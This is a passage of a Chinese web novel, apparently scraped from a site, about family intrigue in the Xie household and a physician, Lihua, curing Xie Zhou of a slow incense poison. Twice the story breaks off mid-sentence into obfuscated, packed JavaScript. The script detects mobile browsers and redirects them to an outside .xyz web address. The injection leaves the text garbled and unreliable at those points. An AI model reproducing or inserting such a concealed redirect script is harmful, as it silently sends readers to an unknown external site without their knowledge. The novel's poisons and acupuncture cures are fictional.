他不经意提起,“母亲忌日快到了,我想拿她最喜欢的阴阳鱼簪子给她,父亲可找到簪子了?” 方延昌道:“还在找,从前搬家时人多手杂,怕被哪个手脚不干净的偷了去。” “那父亲今年还像往年一样在家中祭奠吗?”顾凤知的棺椁葬在当初他们相遇的寺庙后山。 方延昌道:“事务繁忙,照旧吧。” 顾承嗣沉默半晌道:“家中连个牌位都没有,父亲如何祭奠?” 方延昌面色一紧,忽又笑道:“怎么没有。” “你卧房中那座无字牌位吗?” “你偷偷进过我的房间?” 顾承嗣冷笑,“母亲有何见不得人,还是说你祭的不是她?” 方延昌盛怒:“孽障,有你这么逼问亲生父亲的吗?” 他狠狠扇了顾承嗣一巴掌,顾承嗣被打得向后摔出去,袖中的阴阳鱼发簪掉出来。 见到一半的白鱼发簪,方延昌声音有些发颤,听不出是喜是惊,“这发簪你从何而来?” 顾承嗣坐在地上反问:“这不得问您?母亲的是黑鱼发簪,这白鱼发簪又是谁的?” 僵硬一瞬,方延昌扶起顾承嗣,“这发簪是我的,和你母亲的是一对,我的早就丢了,你母亲那支也没了,造化弄人啊。” 他眨眨眼若有所失,“此物失而复得,你母亲知道了肯定很开心,她忌日那天我会去祭拜。”说着顺手拿走那支簪子。 ———— 另一家人的饭桌上,氛围也大差不差。 谢舟带梨花回谢府安顿,本来他很少与谢家人一起吃饭,听到梨花肚子咕噜,便等她换好衣服去膳厅。 膳厅里,谢训正和谢老夫人说起谢知秋的婚事。 谢训道:“顾老首辅的外孙顾承嗣已加冠,和秋儿年龄相仿,若是他们能结为连理,秋儿以后也有个倚仗。” 正为谢老夫人布菜的谢知秋脸一红,又羞又怒,“那顾承嗣是个十足的纨绔,老庄不读诗书不通,哪个窑姐儿身段最软怕是没人比他清楚,女儿嫁给他哪还有以后可言。” 谢训斥道:“这是你个姑娘家该说的话吗?顾公子身份尊贵,是首辅之子,皇上的亲表弟,皇家的姻亲你都看不上,眼睛长在房檐上了?” 谁人不知顾承嗣心系公主,她非要凑上去岂不是自取其辱,况且她属意的是杨贞,谢知秋正要辩驳,却被谢训打断:“儿女婚姻自有父母做主,岂有你说话的份!” 眼看谢知秋要哭出来,谢老夫人出言安抚,“好了,你父亲也是为你好,如今你已二十有一,再挑三拣四真成嫁不出去的老姑娘了,我和你父亲,还有谢家的脸面往哪儿放,早日找个婆家开枝散叶才是正事。” 谢知秋委屈道:“就算我愿意,顾家也未必肯。” 谢老夫人转头对谢训道:“秋儿说得没错,顾家不是能随便结亲的。” 谢训起身对母亲一拜,“所以才要母亲费心,您本家姓顾,与顾老首辅有亲,看能否来个亲上加亲?” 谢老夫人与顾弘光是堂兄妹,谢老夫人将门虎女想嫁何人不成,却偏偏看中一个穷书生,认定他能飞黄腾达,那人就是谢老太爷,谢老夫人甚至为了他与家人决裂。 可惜谢老太爷功名未就便早逝,谢老夫人一人拉扯两个儿子长大,她最大的企盼就是子孙能够光耀门楣开枝散叶,可惜谢舟恶名在外指望不上,若能与顾、方两家结为姻亲,能助谢训仕途一臂之力。 谢老夫人犹豫道:“只是……” 她话未说完,这厢谢舟已经带梨花进入膳厅,三人瞬间噤声,望着谢舟领着一个女子径直坐下。 谢训坐回去冷声道:“一家人吃饭,你怎么过来了。” 谢舟笑道:“我为何不能来,我难道不是谢家人?。” 梨花额头青筋突突跳,被家里人排挤还能笑得出来,他在谢家过得是什么苦日子。 谢舟说着自顾自为梨花夹菜,桌上刚好有肘子,他直接端起盘全倒进梨花碗里,“你的肘子山。” 梨花瞪大眼看他,眼里闪光:真神仙呐!她饿久了,哪管气氛诡异,拿起筷子开吃。 谢知秋忙打圆场:“大哥哥,父亲不是那个意思。没记错这位是方神医吧,听说你入了太医院,恭喜恭喜,你慢点吃别噎着。” 谢老夫人道:“一家人吃饭,你带个外人来做什么?” 梨花心道:矛头冲我来了。假装没听见,扔下筷子直接上手啃。 谢舟道:“她不是外人,您的陈年旧疾是她治好的。” 老夫人不再言语,谢训冷哼,“什么时候杀人犯也能安坐吃饭?”早朝他也在,知道梨花被指控杀人的事情。 梨花忙中插嘴,“不是杀人犯,只是嫌疑,嫌疑。” 谢训道:“就算是嫌犯也该在牢里,而不是堂而皇之出现在这里。” 梨花打了一个长长的嗝,指着谢舟笑眯眯道:“他负责查案,我配合查案,有问题吗?没问题啊。” 谢训眉毛快竖起来了,再问:“你不是杨贞的未婚妻吗,与男人私会不守妇道。” 梨花抹了抹油乎乎的嘴道:“你也说了是未婚,还有哪就是私会,你们不是人吗?你是东西吗?” 谢知秋大声斥责:“我父亲才不是东西。” 梨花无比认同:“确实不是个东西。” 谢知秋涨红了脸,“你!”她被梨花是杨贞未婚妻的消息冲昏头脑,见父亲脸色铁青,忙道:“父亲,女儿失言。” 谢训青着脸离去,谢知秋指着梨花道:“你看不出来吗,这里不欢迎你,快滚。” 梨花心道,终于忍不住了吧,她可没忘了马球赛就是谢知秋拱火让公主收拾她,刚才还装模作样演戏,她摇头晃脑吐舌头,“我就不滚,气死你!” 她说着,不小心“手滑”把骨头飞到谢知秋裙子上,谢知秋尖叫跺脚跑开,梨花远远冲她喊:“你不吃了吗?再吃点,别客气呀。” 她回头才注意到谢老夫人一言难尽的表情,直愣愣问:“您子孙兴旺、家族昌盛的愿望实现了吗?” 谢老夫人这才想起在济善堂见过她,脸唰一下拉长,鼓着怒气离开,健步如飞到不用嬷嬷扶了。 转眼膳厅只剩谢舟和梨花两人。 梨花深呼吸一口气,“影响食欲的人都走了,这下可以畅快吃饭了。” 只听谢舟扶额发笑,“方女医舌战群儒好威风。” 梨花得意非常:“吵架不是讲道理,而是要气死对方。他们恶心你,我就恶心他们,他们不让你吃饭,我就不让他们吃饭。” 其实梨花与谢家人并无深仇大恨,无非经受过谢老夫人的古板,谢训的凶恶,谢知秋的小心眼,但这不足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢舟放好牌位道:“神仙也有极品亲戚。” 她看见谢母的牌位一副了然神情,“哦,原来是受委屈向爹娘哭诉来了,我还以为是杀人太多跪在这里赎罪呢。” 谢舟道:“你今天把所有谢家人骂了一遍,不怕谢家祖先入你的梦?” 梨花道:“我不是谢家人,他们入不了我的梦。” 谢舟闻言似笑非笑,突然冷脸凑到梨花面前,居高临下问:“我确实杀了很多人,你不怕我吗?” 梨花摇摇头,“我不敢说你是个好人,但你一定不是坏人。” 她点燃一炷香恭敬地拜了拜,烟雾轻轻袅袅笔直向上,清淡的香味丝丝往鼻子里钻,梨花感叹:“天承寺的特制香果然不一样,味道都比一般香清新。” 她问:“我要呆到什么时候?” 谢舟道:“你很想离开这里?” 梨花点头,“女院刚开不久,很多人观望,如果一直关张,大家会觉得这是一时兴起,想来看病的女子会失去信心。” 女院生意并不好,关不关张在外人看来没多大区别,也值得她这样看重? 似乎看出谢舟在想什么,梨花又道:“女大夫少,众人都知道女大夫少,女大夫就更少。女病患少,众人都知道女病患少,女病患就更少。” 她这话弯弯绕绕,谢舟却听懂了,女子不是不能当大夫,而是无人信任拒绝女大夫看诊,久而久之就成了“女子不为医”,女病患不是不想求医,而是害怕被人指点,那些病症变成难以言说的痛。 梨花在祠堂门口的台阶上抱膝坐下,语气低沉:“说实话,我也不知道自己还能坚持多久。顾承嗣的话没错,走到今天,我就是借了杨大哥、公主还有秋水仙的光,还有你的。” 她自嘲:“卖卖养颜膏和韦兄就算了,其实根本没什么人想找我看病。” 谢舟与她并排坐着,一腿屈膝,一腿伸展,摆了个舒服的姿势,淡淡道:“确实没少借我的光,狐假虎威这招让你使得淋漓尽致。” 想起借谢舟恶名吓唬徐掌柜,卖凉茶,骗狱卒……梨花自觉有点理亏,却十分理直气壮倒打一耙:“这时候你不应该安慰我吗?” 谢舟道:“面子是外人给的,里子是自己撑起来的,没有里子,面子早就破了。你能辨药材,救杨贞,治公主,这都是实打实的本事。”他顿了顿,“当然,能被我欣赏和利用也是一种本事。” 梨花侧身看他,露出一副果然如此的嫌弃表情,怎么有人给一颗甜枣再打一棍呢。她道:“对对对,您慧眼识珠,就是不知道其他人何时能看到我的医术。” 谢舟轻声道:“会有的。” 两人并坐望天,星星一闪一闪,梨花想起一件事,她道:“谢谢你之前帮我报名院考。” 谢舟半晌没应,她扭头看去,谢舟眉头皱起表情痛苦,头一斜靠在她身上,她一边诊脉一边大喊清溪,“你家大人不是说他的毒已经解了吗?” 清溪道:“用药压制好久没犯病了,他不让我再找你,你又做了什么?” “不就是上了一炷香坐在这里聊天嘛。” 香?! 梨花想到什么,为了验证猜测,她把香捻碎放进清水里,水中果然浮出一层乳白色的油。 “对了,就是这个,谢大人就是这样中毒的。” 清溪又急又怒:“你说清楚,大人怎么中毒,中了什么毒?” 说话间,谢舟已经晕过去。 41. 解毒之法 暮寒院卧房里,谢舟被解开上衣安置在床上,身上大大小小的伤痕交错,即便不是第一次见,梨花还是觉得触目惊心。 一条不显眼的红色细线从谢舟手腕连到胸口,像蜿蜒生长的藤蔓。梨花道:“这是血玫瑰。” 《毒经》记载,血玫瑰是一种乳白色有淡香的毒药,会令中毒之人神志不清逐渐癫狂,并且会从手腕生长出一条细线,延伸至胸口绽放成花朵模样,由此得名血玫瑰。 直接服食血玫瑰人会在几个时辰内胸口开花癫狂而亡,但如果碾成粉顺着香味进入人体,虽然效果缓慢,但日积月累也会让人情绪失控悄无声息死亡。 梨花上次为谢舟治疗并不知道血玫瑰之毒,那时谢舟手臂也未长出红色细线,她只能确定是某种隐秘的慢性毒药,现在看来,是有人把血玫瑰掺在线香当中。 但为何只有谢舟一人中毒呢? 梨花问:“谢大人经常去祠堂吗?” 清溪从她的话中猜出一二,神色凝重:“以前也不常去,自从几个月前知道……大人便去的频繁了。”似乎有难言之隐,他不再往下说。 梨花又问:“那谢家其他人常去祭拜吗?” 清溪摇头,“大将军是通敌叛国的罪名,本来不能入祠堂,大人力排众议设了牌位,但他们怕祭拜通敌之人惹祸上身,无人再踏足祠堂。” 梨花道:“那就对了,此下毒手段简直为他量身打造,即便毒发也没人能查出原因。” 清溪听得双眼发红,能做得这么隐秘,只可能是自家人,枉大人对他们不薄,硬生生撑起谢家一片天,他们竟忘恩负义到要害死他。 “我现在就把他们全抓起来,逼他们交出解药!” 梨花忙叫住清溪,“站住,没有实质性证据他们不会承认的。” “那你说怎么办?” 梨花望着谢舟苍白的脸和胸口马上要开花的红线,半晌才低低道:“毒已入肺腑,最多两个时辰……” 清溪闻言拔刀指着梨花:“你胡说!你这庸医治不了就滚,我去找宫里的太医来。” 这时,谢舟微微睁眼,清溪忙扑过去,谢舟却看向梨花,问道:“你有办法对不对?” 见梨花不语满面愁苦,清溪急吼:“这时候了你能痛快点吗!” 梨花看向谢舟犹犹豫豫,“也许有。” 清溪道:“有就是有,没有就是没有,什么叫也许有?” 谢舟不经意瞪清溪一眼,清溪压着火气靠后。 梨花道:“有一种针灸术叫移穴之法,可以把身上几处大穴移穴换位,再用五步蝎刺这些穴位,以毒攻毒,或可解毒。” 谢舟回忆:“移穴之法,就是药经阁你把自己扎瘫那种?” “是。” “五步蝎是我劈成两半那只?” “是。” 梨花咬唇:“所以我才说也许有。” 清溪闻言仰天长叹:“大人没被毒死,怕是先被你治死了,我还是去找太医吧。” 谢舟道:“不能让外人知道我中毒。”他对梨花道:“置之死地而后生,试试吧,我相信你。” “你,相信我?” “我相信。” 上一次在摘星楼,他也说相信她。 相信的力量总会给梨花莫大的勇气,她紧紧握住谢舟的手腕,“好,把你自己完全交给我。” 清溪早已提步奔去太医院找五步蝎,房中只剩梨花和谢舟两人。 谢舟半身赤裸盘腿而坐,梨花先用银针护住他的心脉,然后打算从头顶百会穴起,经大椎穴、天突穴到命门穴和膻中穴……彻底将任督二脉逆转。 所有穴位都是人体大穴,操作稍有不慎即刻毙命。梨花强自镇定,心中默念三遍“我可以”,可真到施针之时,她手腕还是控制不住发抖,竟然无法下针。 她心慌意乱正要收回手,谢舟突然抓住她的手腕,将她手掌按在自己心脏处,“感受到了吗?” 他的心跳缓和平稳,好似面临生死危机的不是他,他道:“让你施针是我的选择,生死天定,与你无关。” 谢舟的这份从容透过心跳传递给梨花,她渐渐感觉到自己奔涌心脏也平稳下来,两颗心脏开始以同一频率跳动。 冷静下来,梨花懊恼,身为医者不该预想治不好的后果,而该关注治疗本身。病患全身心相信她的医术,她也该全情投入治病,她终于夺回手指的控制权。 移穴之法入针比一般行针深得多,经脉逆转触感也会翻倍,梨花问:“很疼吧?” 谢舟面不改色道:“和蚊子咬一样。” 其实很疼,因为移穴带出身上旧伤全面爆发,只是比起伤痛,她略带薄茧的手指在他身上轻轻抚摸剐蹭,这种“疼”更让他受不了。 那只蚊子咬在他身体里面,不能挠,挠不到。 冷面阎王还会开玩笑,梨花竟然被他逗乐了,紧绷的神经放松下来,继续对长强穴、关元穴施针。 这下,谢舟却突然全身紧绷,呼吸也急促起来。 梨花一顿,冷汗瞬间蒸满头顶,“弄疼你了?还是哪里不舒服?”她死死盯着谢舟,尝试看出哪里有问题,却只看到他眼中自己的倒影,手指仍按在关元穴上摩挲。 谢舟眼神晦暗不明,蒙了一层薄薄的水雾。 关元穴在肚脐下,距离私密之处不过半个手掌的距离。 谢舟只觉无数蚊子在此处聚集,温度升高,感官放大,马上要溃不成军。 梨花只关注穴位本身,完全忘记眼前是个无比正常血气方刚的男子,她焦急问:“到底哪里不舒服,你说话呀?” 说着她手指又来回移动,谢舟伸手抓住她的手腕不让她乱动,两人四目相对,一个水深火热,一个紧张兮兮。 这时,门砰的一声被撞开,清溪怀抱一个盒子冲进来,那是从太医院偷来的五步蝎,他连跑带飞生怕耽误一点时间,一进门却见到这副场景。 男的衣衫半褪,女的脸趴在男的腹部,男的握着女的手。 他低头看看自己,又向门外望了一眼,回头走进房间放下盒子,退出去关上门,然后敲敲门再进来。 进来以后,床上二人仍旧保持同样姿势,他再出去再进来。 梨花感觉莫名其妙:“你进进出出干什么,都带进来凉风了。” 清溪:……我才想问,你们不把我当人是吧。难怪大人宁愿暴露暗棋,也要把她从大牢带回来,原来早已暗通款曲,只是现在是做这种事的时候吗? 谢舟半晌才声音喑哑道:“别理他,你继续。” 得到肯定回复,梨花继续行针。 所有银针刺入,筋脉全部逆转,现在要做的便是将五步蝎的毒送入谢舟体内,可新问题又来了,不知道五步蝎刺一下会放出多少毒素,需要有人试一下。 清溪举手:“我愿意为大人试毒。” 谢舟道:“不必,直接在我身上刺吧。”这时他已然虚弱到坐不起来,靠在梨花身上才勉强支撑。 清溪突然下跪,“大人对我恩重如山,我的命本就是大人救的,现在还给大人。”说着抓起五步蝎刺向自己胳膊,梨花连忙阻止,“慢着,我想到一个办法,你去祠堂拿些香来,再准备一碗清水。” 清溪按照梨花要求准备好东西,把香全部碾成粉放进清水,水中立刻析出乳白色的毒液,梨花拿起碗倒在自己手臂上。 这时他们才注意到,梨花不知何时在手臂划了一道伤口,清溪猜到她要做什么想要替她,却被她阻止。 直接以毒入脉是中毒最快的方式,但谢舟毒入肺腑且经脉逆转,和一般人解毒不相同,梨花道:“只有我才能感受到毒液的流速。” 谢舟“不要”两个字正要出口,却被她斩钉截铁的话打断,他忽然笑道:“罢了。” 血玫瑰之毒至阳,毒液顺着伤口流进去,梨花全身滚烫,脸色血红,很快手腕上也出现一条红线,清溪同时放出五步蝎咬在伤口处,五步蝎至阴,她又瞬间全身冰凉。 两种毒在她体内斗争,一时冰火两重天,当她以为要被毒死的时候,体温终于恢复正常。 梨花喜道:“我清楚了。” 她一边把脉,一边指挥清溪控制五步蝎,在谢舟全身开始刺。 五步蝎的毒液沿着经脉倒流,与顺着经脉游走的血玫瑰之毒正面交锋,谢舟的身体忽冷忽热,冷得发抖梨花就抱住他,热得流汗就呼呼吹风。 终于,谢舟被两种毒冲得呕出一口黑血,胸口的红线开始退下去。梨花在他的十个手指放血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329497|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,黑血顺着指尖排出,直到血液变红才停。 梨花逆着刚才移穴的行针顺序,再把所有穴位移回去,做完一切,谢舟早已昏过去,梨花也不知道是否成功,只好守在他床边随时观察。 次日清晨,谢舟神清气爽醒来,他缓缓睁眼,第一眼就落在趴在他床边的人身上。 阳光透过窗纸照进来,斜斜映在她脸上。 谢舟记得他们第二次见面也是在这间卧房,那时她女扮男装揭榜给自己治病,他以为她是杨盈安插在自己身边的棋子,直到现在他也未曾打消怀疑。 杨盈一直认为先帝的死有疑,梨花几次试探他离魂散和父亲当年入宫之事,必然有杨盈授意,或许还有其他缘由。 他伸手为她挡住阳光,喃喃道:“棋子便棋子吧,好好呆在棋盘上不要被吃掉。” 梨花好像感觉到什么,揉揉眼睛直起身来,恍惚了片刻才想起自己在谢舟这里,回过神来忙查看他的情况,见谢舟抬着手,她顺手拉过来把脉。 “毒完全解了!”她激动地抱住谢舟,“你没事了,毒解了!” 她欢愉的笑声在空中飘散,发丝随她晃动一下一下拨弄他的脸颊,谢舟感觉飘飘然,某种欲望强烈叫嚣,他不自觉伸手搂她,这时门外传来敲门声,梨花跑过去开门,谢舟摸摸鼻子悻悻放下手。 在门外守了一夜的清溪探头探脑进来,“大人如何了?” 谢舟声音不冷不热:“托你的福,还好。” 清溪挠头思索,自己是哪里惹大人不开心了,怎么这种语气。 谢舟又道:“别杵着了,备早膳去。”他听到梨花肚子咕噜咕噜震天响。 清溪高呼:“得嘞!” 梨花扶谢舟坐起来,把昨天她和清溪的猜测告诉他,谢家有内鬼。 谢舟久久不语。 这个猜测他不是没想过,从第一次毒发就有所怀疑,清溪要彻查,他阻止了。清溪问他缘由,他说当前不宜向外暴露他中毒的事。 直到这一刻,他清楚地意识到不想查的原因。 他从小被教育一切要以谢家为重,所作所为皆不能辱没谢家门楣,父亲被诬通敌却在狱中逼他认罪,他以功臣的身份保住谢家,也成了谢家人眼中的罪人。 他安慰自己他们不知道真相,所以可以从容面对大伯的指责,祖母的冷漠,堂妹的虚伪,可他们怎么会要自己死? 是谁想让他死? 是某一个人?还是每一个人。 谢舟落寞的神情全看在梨花眼里,哪有一家人互相仇恨至此的,这样的家人不要也罢。 梨花道:“有血缘的家人是天注定的,没血缘的家人是自己选的。” “亲人可以自己选吗?” “当然可以,就像我虽然是我老爹捡来的,可我们父女就是彼此世上最亲近的人。你也会有爱你的人,他们就是你的亲人。” 谢舟静静沉思,他忽然道:“那木勒的案子我会查清楚,你不用为了活命嫁给杨贞。” 梨花绞绞手指,“我不是为了活命才嫁给杨大哥。” “难道你真的喜欢他?” “杨大哥玉树临风,人品贵重,女孩子都喜欢他。” “那你呢,你喜欢他吗?” “他喜欢我,我当然喜欢他了,你怎么会问这么奇怪的问题。” 说话间浊流通报,首辅方家来人,说方延昌身患疾病想邀请方女医前去医治。 谢舟眼睛微眯,他不曾听说方延昌患病,况且即便突然生病也有太医治疗,怎么会找到梨花头上,还是在她被指控杀害漠风王子的节骨眼上。 顾承嗣昨天才出现在狱中,今天他爹便轮番上场。事出反常必有妖,这次邀请是祸非福,不去为妙。 谢舟便要着人回绝,却见梨花兴奋地蹦起来。 “大人,你听到了吗,有人专门找我治病哎!你昨天才说有人会看到我的医术,今天就真有人找我了。” 梨花扑到床边握住谢舟的肩膀左摇右摇,最后点点头,“没错,你就是我的神仙,言出法随。” 谢舟觉得好笑,“你想去就去吧。”反正不管对方什么阴谋诡计,有他在她就不会出事。 梨花太过兴奋,早餐都没吃,迫不及待奔方府而去。